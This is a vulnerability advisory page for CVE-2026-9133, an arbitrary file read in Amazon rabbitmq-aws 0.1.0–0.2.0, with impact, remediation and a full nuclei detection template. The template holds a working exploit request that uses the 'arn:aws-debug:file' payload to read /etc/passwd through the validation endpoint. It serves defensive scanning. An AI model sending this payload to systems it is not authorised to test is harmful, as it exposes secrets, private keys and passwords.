CVE-2026-9133· amazon / rabbitmq-aws· CWE-489
Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read
Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.
Impact
Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process.
Fix
Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read.
How to confirm it
Send: PUT /api/aws/arn/validate
Positive when: contains(body, "arn:aws-debug:file:::/etc/passwd") and contains(content_type, "application/json") and regex("root:[x*]:0:0:", body) and status_code == 200Run it with nuclei: nuclei -id CVE-2026-9133 -u <target>
The full check
id: CVE-2026-9133
info:
name: Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read
author: ye11oc4t
severity: high
description: |
Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process.
impact: |
Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process.
remediation: |
Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read.
reference:
- https://github.com/amazon-mq/rabbitmq-aws/security/advisories/GHSA-8554-wg4r-7hxm
- https://aws.amazon.com/security/security-bulletins/2026-034-aws/
- https://nvd.nist.gov/vuln/detail/CVE-2026-9133
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
cvss-score: 7.7
cve-id: CVE-2026-9133
epss-score: 0.01113
epss-percentile: 0.66267
cwe-id: CWE-489
metadata:
verified: true
max-request: 1
vendor: amazon
product: rabbitmq-aws
tags: cve,cve2026,amazon,rabbitmq,aws,lfi,authenticated
variables:
username: "{{username}}"
password: "{{password}}"
credentials: "{{ username + ':' + password }}"
http:
- raw:
- |
PUT /api/aws/arn/validate HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Basic {{base64(credentials)}}
{"arns":["arn:aws-debug:file:::/etc/passwd"]}
matchers:
- type: dsl
dsl:
- 'contains(body, "arn:aws-debug:file:::/etc/passwd")'
- 'contains(content_type, "application/json")'
- 'regex("root:[x*]:0:0:", body)'
- 'status_code == 200'
condition: andReferences
- https://github.com/amazon-mq/rabbitmq-aws/security/advisories/GHSA-8554-wg4r-7hxm
- https://aws.amazon.com/security/security-bulletins/2026-034-aws/
- https://nvd.nist.gov/vuln/detail/CVE-2026-9133
Use this check only on systems you are authorised to test. Where the data comes from